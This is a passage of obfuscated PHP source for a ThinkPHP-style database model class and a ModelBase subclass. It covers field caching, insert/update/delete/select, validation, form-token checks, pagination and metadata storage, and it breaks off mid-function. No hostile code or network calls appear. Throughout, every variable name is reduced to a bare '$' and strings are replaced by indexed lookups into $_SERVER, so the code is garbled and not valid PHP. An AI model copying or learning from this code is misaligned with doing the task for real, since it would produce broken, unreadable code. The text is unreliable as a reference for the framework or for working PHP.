_checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[334])) { $ = $this->dbName ? $this->dbName : think_config($[335]); $ = think_var_cache($[336] . strtolower(get_path_this($) . $[10] . $this->name)); if ($) { $ = think_config($[337]); if (empty($) || $[$[338]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$[339]] = !1; foreach ($ as $ => $) { $[$] = $[$[33]]; if ($[$[39]]) { $this->fields[$[340]] = $; if ($[$[42]]) { $this->fields[$[339]] = !0; } } } $this->fields[$[341]] = $; if (think_config($[337])) { $this->fields[$[338]] = think_config($[337]); } if (think_config($[334])) { $ = $this->dbName ? $this->dbName : think_config($[335]); think_var_cache($[336] . strtolower(get_path_this($) . $[10] . $this->name), $this->fields); } } public function switchModel($, $ = array()) { $ =& $_SERVER[]; $ = ucwords(strtolower($)) . $[342]; if (!class_exists($)) { think_exception($ . think_lang($[343])); } $this->_extModel = new $($this->name); if (!empty($)) { foreach ($ as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($, $) { $this->data[$] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($, $) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $[0]; return $this; } elseif (in_array(strtolower($), array($[344], $[345], $[346], $[347], $[348]), !0)) { $ = isset($[0]) ? $[0] : $[223]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $[349] . $ . $[350] . $, $[344]); } elseif (strtolower(substr($, 0, 5)) == $[351]) { $ = think_parse_name(substr($, 5)); $[$] = $[0]; return $this->where($)->find(); } elseif (strtolower(substr($, 0, 10)) == $[352]) { $ = think_parse_name(substr($, 10)); $[$] = $[0]; return $this->where($)->getField($[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $[0]); } elseif (method_exists($this, $)) { array_unshift($, $); return call_user_func_array(array($this, $[353]), $); } else { return call_user_func_array(array(parent, $), $); } } protected function call() { $ =& $_SERVER[]; $ = func_get_args(); $ = array_shift($); $ = $; if (is_array($)) { $ = $[1]; $ = $[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $) { think_exception(__CLASS__ . $[4] . $ . think_lang($[354])); return; } $[] = $; if (method_exists($this, $[355])) { $ = call_user_func_array(array($this, $[356]), array($, $)); if (!is_null($) && $ !== !1) { return $; } } $ = call_user_func_array(array($this, $), $); if (method_exists($this, $[357])) { $ = call_user_func_array(array($this, $[358]), array($, $, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected function _facade($) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $ => $) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($)) { $this->_parseType($, $); } } } if (!empty($this->options[$[359]])) { $ = array_map($this->options[$[359]], $); unset($this->options[$[359]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][360]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $ = $this->db->insert($, $, $); if (!1 !== $) { $ = $this->getLastInsID(); if ($) { $[$this->getPk()] = $; $this->_after_insert($, $); return $; } $this->_after_insert($, $); } return $; } protected function _beforeInsert(&$, $) { } protected function _after_insert($, $) { } public function addAll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (empty($)) { $this->error = think_lang($[360]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ => $) { $[$] = $this->_facade($); } if (method_exists($this->db, $[361])) { $ = $this->db->insertAll($, $, $); } else { $this->startTrans(); foreach ($ as $ => $) { $ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function selectAdd($ = '', $ = '', $ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($ ? $ : $[$[362]], $ ? $ : $this->getTableName(), $))) { $this->error = think_lang($[363]); return !1; } else { return $; } } public function save($ = '', $ = array()) { $ =& $_SERVER[]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($[360]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $ = $this->getPk(); if (!isset($[$[364]])) { if (isset($[$])) { $[$] = $[$]; $[$[364]] = $; unset($[$]); } else { $this->error = think_lang($[363]); return !1; } } if (is_array($[$[364]]) && isset($[$[364]][$])) { $ = $[$[364]][$]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $ = $this->db->update($, $); if (!1 !== $) { if (isset($)) { $[$] = $; } $this->_afterUpdate($, $); } return $; } protected function _beforeUpdate(&$, $) { } protected function _afterUpdate($, $) { } public function delete($ = array()) { $ =& $_SERVER[]; if (empty($) && empty($this->options[$[364]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $[50])) { $[$] = array($[365], $); } else { $[$] = $; } $this->options[$[364]] = $; } $ = $this->_parseOptions(); if (is_array($[$[364]]) && isset($[$[364]][$])) { $ = $[$[364]][$]; } $ = $this->db->delete($); if (!1 !== $) { $ = array(); if (isset($)) { $[$] = $; } $this->_after_delete($, $); } return $; } protected function _after_delete($, $) { } public function select($ = array()) { $ =& $_SERVER[]; if (is_string($) || is_numeric($)) { $ = $this->getPk(); if (strpos($, $[50])) { $[$] = array($[365], $); } else { $[$] = $; } $this->options[$[364]] = $; } elseif (!1 === $) { $ = $this->_parseOptions(); return $[366] . $this->db->buildSelectSql($) . $[367]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSelect(&$, $) { } public function buildSql($ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); return $[366] . $this->db->buildSelectSql($) . $[367]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ = array()) { $ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$[368]])) { $[$[368]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$[369]])) { $[$[368]] .= $[53] . $[$[369]]; } $[$[370]] = $this->name; if (isset($[$[364]]) && is_array($[$[364]]) && !empty($) && !isset($[$[371]]) && !isset($[$[368]])) { foreach ($[$[364]] as $ => $) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($)) { $this->_parseType($[$[364]], $); } } elseif (!is_numeric($) && $[11] != substr($, 0, 1) && !1 === strpos($, $[10]) && !1 === strpos($, $[349]) && !1 === strpos($, $[215]) && !1 === strpos($, $[287])) { unset($[$[364]][$]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$) { } protected function _parseType(&$, $) { $ =& $_SERVER[]; if (empty($this->options[$[372]][$[4] . $])) { $ = strtolower($this->fields[$[341]][$]); if (!1 !== strpos($, $[373])) { } elseif (!1 === strpos($, $[374]) && !1 !== strpos($, $[375])) { $[$] = intval($[$]); } elseif (!1 !== strpos($, $[376]) || !1 !== strpos($, $[377])) { $[$] = floatval($[$]); } elseif (!1 !== strpos($, $[378])) { $[$] = (bool) $[$]; } } } public function find($ = array()) { $ =& $_SERVER[]; if (is_numeric($) || is_string($)) { $[$this->getPk()] = intval($); $this->options[$[364]] = $; } $this->options[$[379]] = 1; $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$[380]])) { return $this->returnResult($this->data, $this->options[$[380]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($, $ = '') { $ =& $_SERVER[]; if ($) { if (is_callable($)) { return call_user_func($, $); } switch (strtolower($)) { case $[381]: return json_encode($); case $[382]: return xml_encode($); } } return $; } public function parseFieldsMap($, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($ == 1) { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } else { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } } } return $; } public function setField($, $ = '') { if (is_array($)) { $ = $; } else { $[$] = $; } return $this->save($); } public function setAdd($, $ = 1) { $ =& $_SERVER[]; $ = $ . $[383] . $; if ($ < 0) { $ = $ . $; } return $this->setField($, array($[384], $)); } public function getField($, $ = null) { $ =& $_SERVER[]; $[$[362]] = $; $ = $this->_parseOptions($); $ = trim($); if (strpos($, $[50])) { if (!isset($[$[379]])) { $[$[379]] = is_numeric($) ? $ : $[12]; } $ = $this->db->select($); if (!empty($)) { $ = explode($[50], $); $ = array_keys($[0]); $ = array_shift($); $ = array_shift($); $ = array(); $ = count($); foreach ($ as $) { $ = $[$]; if (2 == $) { $[$] = $[$]; } else { $[$] = is_string($) ? implode($, $) : $; } } return $; } } else { if (!0 !== $) { $[$[379]] = is_numeric($) ? $ : 1; } if ($ === $[344]) { unset($[$[379]]); } $ = $this->db->select($); if (!empty($)) { if ($ === $[344]) { return reset($[0]); } if (!0 !== $ && 1 == $[$[379]]) { return reset($[0]); } foreach ($ as $) { $[] = $[$]; } return $; } } return null; } public function create($ = '', $ = '') { $ =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($[360]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[362]])) { $ = $this->options[$[362]]; unset($this->options[$[362]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($[50], $); } if (think_config($[385])) { $[] = think_config($[386]); } foreach ($ as $ => $) { if (!in_array($, $)) { unset($[$]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($[387]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $ => $) { if (!in_array($, $)) { unset($[$]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $[$] = stripslashes($); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToken($) { $ =& $_SERVER[]; if (isset($this->options[$[388]]) && !$this->options[$[388]]) { return !0; } if (think_config($[385])) { $ = think_config($[386]); if (!isset($[$]) || Session::get($)) { return !1; } list($, $) = explode($[11], $[$]); if ($ && Session::get($ . $[10] . $) === $) { Session::remove($ . $[10] . $); return !0; } if (think_config($[389])) { Session::remove($ . $[10] . $); } return !1; } return !0; } public function regex($, $) { $ =& $_SERVER[]; $ = array($[390] => $[391], $[392] => $[393], $[394] => $[395], $[396] => $[397], $[398] => $[399], $[400] => $[401], $[402] => $[403], $[377] => $[404], $[405] => $[406]); if (isset($[strtolower($)])) { $ = $[strtolower($)]; } return preg_match($, $) === 1; } private function autoOperation(&$, $) { $ =& $_SERVER[]; if (!empty($this->options[$[407]])) { $ = $this->options[$[407]]; unset($this->options[$[407]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[408]: case $[409]: $ = isset($[4]) ? (array) $[4] : array(); if (isset($[$[0]])) { array_unshift($, $[$[0]]); } if ($[408] == $[3]) { $[$[0]] = call_user_func_array($[1], $); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $); } break; case $[362]: $[$[0]] = $[$[1]]; break; case $[410]: if ($[12] === $[$[0]]) { unset($[$[0]]); } break; case $[411]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $; } protected function autoValidation($, $) { $ =& $_SERVER[]; if (!empty($this->options[$[412]])) { $ = $this->options[$[412]]; unset($this->options[$[412]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $[413]) && strpos($[2], $[414])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $[415]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } break; default: if (isset($[$[0]])) { if (!1 === $this->_validationField($, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($, $) { if (!1 === $this->_validationFieldItem($, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($, $) { $ =& $_SERVER[]; switch (strtolower(trim($[4]))) { case $[408]: case $[409]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } array_unshift($, $); } else { array_unshift($, $[$[0]]); } if ($[408] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $[416]: return $[$[0]] == $[$[1]]; case $[417]: if (is_string($[0]) && strpos($[0], $[50])) { $[0] = explode($[50], $[0]); } $ = array(); if (is_array($[0])) { foreach ($[0] as $) { $[$] = $[$]; } } else { $[$[0]] = $[$[0]]; } if (!empty($[$this->getPk()])) { $[$this->getPk()] = array($[418], $[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($, $, $ = "regex") { $ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $[7]: case $[419]: $ = is_array($) ? $ : explode($[50], $); return $ == $[7] ? in_array($, $) : !in_array($, $); case $[420]: case $[421]: if (is_array($)) { $ = $[0]; $ = $[1]; } else { list($, $) = explode($[50], $); } return $ == $[420] ? $ >= $ && $ <= $ : $ < $ || $ > $; case $[422]: case $[423]: return $ == $[422] ? $ == $ : $ != $; case $[424]: $ = mb_strlen($, $[425]); if (strpos($, $[50])) { list($, $) = explode($[50], $); return $ >= $ && $ <= $; } else { return $ == $; } case $[426]: list($, $) = explode($[50], $); if (!is_numeric($)) { $ = strtotime($); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $ && NOW_TIME <= $; case $[427]: return in_array(get_client_ip(), explode($[50], $)); case $[428]: return !in_array(get_client_ip(), explode($[50], $)); case $[415]: default: return $this->regex($, $); } } public function query($, $ = false) { $ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = str_replace(array($[288], $[429]), $[53], $); $ = $this->parseSql($, $); return $this->db->query($); } public function execute($, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = $this->parseSql($, $); return $this->db->execute($); } protected function parseSql($, $) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->_parseOptions(); $ = $this->db->parseSql($, $); } elseif (is_array($)) { $ = array_map(array($this->db, $[430]), $); $ = vsprintf($, $); } else { $ = strtr($, array($[431] => $this->getTableName(), $[432] => think_config($[333]))); } $this->db->setModel($this->name); return $; } public function db($ = '', $ = '', $ = array()) { $ =& $_SERVER[]; if ($[12] === $ && $this->db) { return $this->db; } static $ = array(); static $ = array(); if (!isset($[$]) || isset($[$]) && $ && $[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $[8])) { $ = think_config($); } $ = think_guid($); $[$] = Db::getInstance($); } elseif (NULL === $) { $[$]->close(); unset($[$]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $) { $this->setProperty($, $); } } $[$] = $; $this->db = $[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[][433]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ =& $_SERVER[]; return isset($this->fields[$[340]]) ? $this->fields[$[340]] : $this->pk; } public function getDbFields() { $ =& $_SERVER[]; if (isset($this->options[$[368]])) { $ = $this->db->getFields($this->options[$[368]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$[339]], $[$[340]], $[$[341]], $[$[338]]); return $; } return !1; } public function data($ = '') { $ =& $_SERVER[]; if ($[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($[360])); } $this->data = $; return $this; } public function join($) { $ =& $_SERVER[]; if (is_array($)) { $this->options[$[371]] = $; } elseif (!empty($)) { $this->options[$[371]][] = $; } return $this; } public function union($, $ = false) { $ =& $_SERVER[]; if (empty($)) { return $this; } if ($) { $this->options[$[434]][$[435]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$[434]] = array_merge($this->options[$[434]], $); return $this; } else { $ = $; } } else { think_exception(think_lang($[360])); } $this->options[$[434]][] = $; return $this; } public function cache($ = true, $ = null, $ = '') { $ =& $_SERVER[]; if (!1 !== $) { $this->options[$[436]] = array($[97] => $, $[426] => $, $[33] => $); } return $this; } public function field($, $ = false) { $ =& $_SERVER[]; if (!0 === $) { $ = $this->getDbFields(); $ = $ ? $ : $[223]; } elseif ($) { if (is_string($)) { $ = explode($[50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$[362]] = $; return $this; } public function scope($ = '', $ = NULL) { $ =& $_SERVER[]; if ($[12] === $) { if (isset($this->_scope[$[37]])) { $ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($)) { $ = explode($[50], $); $ = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $ = array_merge($, $this->_scope[$]); } if (!empty($) && is_array($)) { $ = array_merge($, $); } } elseif (is_array($)) { $ = $; } if (is_array($) && !empty($)) { $this->options = array_merge($this->options, array_change_key_case($)); } return $this; } public function where($, $ = null) { $ =& $_SERVER[]; if (!is_null($) && is_string($)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[430]), $); $ = vsprintf($, $); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $ => $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $[437]) === 0) { continue; } think_trace($[438], $[12], $[49]); die; } } } if (is_string($) && $[12] != $) { $ = array(); $[$[439]] = $; $ = $; } if (isset($this->options[$[364]])) { $this->options[$[364]] = array_merge($this->options[$[364]], $); } else { $this->options[$[364]] = $; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[]; $this->options[$[379]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($, $ = null) { $ =& $_SERVER[]; $this->options[$[440]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function comment($) { $this->options[$_SERVER[][441]] = $; return $this; } public function setProperty($, $) { if (property_exists($this, $)) { $this->{$} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("modifyTime", "time", "insert,update", "function"), array("createTime", "time", "insert", "function")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $ = '', $ = '') { parent::__construct($, $, $); } protected $tableMeta = array(); protected function _beforeInsert(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[442])) { return; } $this->dataBeforeFilter($, $[442]); } protected function _beforeUpdate(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[443])) { return; } $this->dataBeforeFilter($, $[443]); } protected function _afterSelect(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][444])) { return; } foreach ($ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][444])) { return; } $this->dataAfterFilter($); } public static function textEncode($) { if (!$) { return $; } $ = json_encode($); $ = preg_replace_callback($_SERVER[][445], function ($) { return addslashes($[0]); }, $); return json_decode($); } public static function textDecode($) { $ =& $_SERVER[]; $ = json_encode($); $ = preg_replace_callback($[446], function ($) { return $_SERVER[][100]; }, $); return json_decode($); } public function setAutoIncrement($) { $ = array($this->getPk() => $); $ = $this->data($)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ = $this->getTableName(); $ = $this->max($this->getPk()); $ = $this->query("show table status where Name='{$}'"); $ = $[0][$_SERVER[][447]]; $ = max($, $); return $; } protected function _callBefore($, $) { return $this->cacheCallCheck($, $, !1); } protected function _callAfter($, $) { return $this->cacheCallCheck($, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $, $ = false) { $ =& $_SERVER[]; $ = $this->cacheFunctionAlias($); if (!$) { return; } foreach ($ as $ => $) { $ = $[0]; $ = explode($[50], $[1]); $ = isset($[2]) ? $[2] : $[12]; if ($ == $) { return $this->cacheFunctionGet($, $, $); } if ($ && in_array($, $)) { $this->cacheFunctionClear($, $, $); } } } public function cacheFunctionGet($, $, $ = '') { $ = $this->cacheKeyMake($, $, $); $ = Cache::get($); if (!is_array($)) { $ = call_user_func_array(array($this, $), array($, !0)); Cache::set($, $); } return $; } public function cacheFunctionClear($, $, $ = '') { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($, $, $); Cache::remove($); } } public function cacheKeyMake($, $, $) { $ =& $_SERVER[]; if ($) { $ = $ . $[448] . $; } return get_class($this) . $[11] . $ . $[449] . $; } protected function selectPageReset() { $ =& $_SERVER[]; if (isset($GLOBALS[$[450]])) { return; } $GLOBALS[$[450]] = isset($GLOBALS[$[7]][$[451]]) ? $GLOBALS[$[7]][$[451]] : !1; $GLOBALS[$[452]] = isset($GLOBALS[$[7]][$[440]]) ? $GLOBALS[$[7]][$[440]] : !1; $GLOBALS[$[7]][$[451]] = !1; $GLOBALS[$[7]][$[440]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[]; if (!isset($GLOBALS[$[450]])) { return; } $GLOBALS[$[7]][$[451]] = $GLOBALS[$[450]]; $GLOBALS[$[7]][$[440]] = $GLOBALS[$[452]]; if ($GLOBALS[$[7]][$[451]] === !1) { unset($GLOBALS[$[7]][$[451]]); } if ($GLOBALS[$[7]][$[440]] === !1) { unset($GLOBALS[$[7]][$[440]]); } unset($GLOBALS[$[450]]); unset($GLOBALS[$[452]]); } protected function selectPage($ = 200, $ = 1) { $ =& $_SERVER[]; global $in; $ = $this->optionsValue(); $ = 50000; $ = isset($in[$[451]]) && $in[$[451]] ? $in[$[451]] : $; if ($ === -1) { $in[$[451]] = !1; $ = 100000000; $ = $; } $ = $; $[$[453]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $ = intval(isset($in[$[440]]) && $in[$[440]] ? $in[$[440]] : $); $ = $ <= 1 ? 1 : $; $ = array(); $ = 1; if ($ == 1 && $) { $this->optionsValue($); $ = $this->page($, $)->select(); $ = is_array($) ? count($) : 0; if ($ < $) { $ = 1; } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); } } else { $this->optionsValue($); $ = intval($this->count()); $ = ceil($ / $); $ = $ >= $ ? $ : $; $this->optionsValue($); $ = $this->page($, $)->select(); } if (!is_array($)) { $ = array(); } if ($ == 1) { $ = count($); } $ = array($[454] => array($[455] => $, $[451] => $, $[440] => $, $[456] => $), $[457] => $); return $; } protected function checkLength($, $ = 0, $ = '') { $ =& $_SERVER[]; $ = $ ? $ : 65536; if (!$ || strlen($) < $) { return; } $ = $ ? $ . $[74] : $[12]; show_json($ . LNG($[458]) . "({$})", !1); } protected function metaSet($, $ = null, $ = null) { $ =& $_SERVER[]; if (!$this->tableMeta || !$) { return !1; } $ = $this->tableMeta[$[459]]; $ = $this->tableMeta[$[460]]; $ = Model($); $ = array($ => $, $[461] => $); if (is_null($)) { return $->where(array($ => $))->delete(); } if (is_null($) && is_string($)) { return $->where($)->delete(); } $ = is_array($) ? $ : array(); if (is_string($)) { $[$] = $; } $ = array(); foreach ($ as $ => $) { if (is_null($) && is_string($)) { $->where(array($ => $, $[461] => $))->delete(); continue; } $this->checkLength($, !1, $ . $[4] . $); $[] = array($ => $, $[97] => $, $[462] => $); } $ = $[463] . $; CacheLock::lock($); $->where(array($ => $))->addAll($, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($, $ = false) { $ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$[459]]; $ = Model($this->tableMeta[$[460]]); if ($) { $ = array($ => $, $[97] => $); return $->where($)->getField($[462]); } $ = array($ => $); $ = $->field($[464])->where($)->select(); $ = array_to_keyvalue($, $[97], $[462]); return $; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $) { $ =& $_SERVER[]; if (!is_array($)) { return; } foreach ($this->dataAuto as $) { $ = $[0]; if (!in_array($, explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[408]: case $[409]: $ = $[1]; $ = isset($[4]) ? (array) $[4] : array(); if ($ == $[207] && array_key_exists($, $)) { if (!$[$]) { unset($[$]); } break; } if (isset($[$])) { array_unshift($, $[$]); } if ($[408] == $[3]) { $[$] = call_user_func_array($, $); } else { $[$] = call_user_func_array(array(&$this, $), $); } break; case $[359]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $[1]), array($[$])); } break; case $[362]: $[$] = $[$[1]]; break; case $[381]: if (isset($[$]) && !is_string($[$])) { $[$] = json_encode_force($[$]); } break; case $[410]: if ($[$] === $[12]) { unset($[$]); } break; case $[411]: $[$] = $[1]; default: break; } } if ($ == $[442]) { $ = strtolower($this->db->getDbType()); if (strpos($, $[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ = $[$[341]]; if (isset($[$[340]])) { unset($[$[$[340]]]); } foreach ($ as $ => $) { if (!isset($[$])) { $[$] = $[12]; } } } } private function dataAfterFilter(&$) { $ =& $_SERVER[]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($[$])) { continue; } if (!in_array($[444], explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[408]: case $[409]: $ = isset($[4]) ? (array) $[4] : array(); array_unshift($, $[$]); if (isset($[4]) && $[4] == $[465]) { $ = array($[$]); } if ($[408] == $[3]) { $[$] = call_user_func_array($[1], $); } else { $[$] = call_user_func_array(array(&$this, $[1]), $); } break; case $[359]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $[1]), array($[$])); } break; case $[362]: $[$] = $[$[1]]; break; case $[381]: $ = $[$]; $[$] = json_decode($, !0); if (is_null($[$])) { $[$] = $; } break; case $[410]: if ($[$] === $[12]) { unset($[$]); } break; case $[411]: $[$] = $[1]; break; default: break; } } } public function saveAll($) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $ = is_array($) ? $ : array(); $ = $[466]; $ = 0; $ = array(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!is_array($) || count($) != 4) { continue; } $ = "UPDATE `{$}` SET {$[2]} = CASE {$[0]} \xa"; if ($ == 0) { $ = $; } $[] = $[121] . $[1] . $[121]; $++; $ .= " WHEN '{$[1]}' THEN '{$[3]}' 
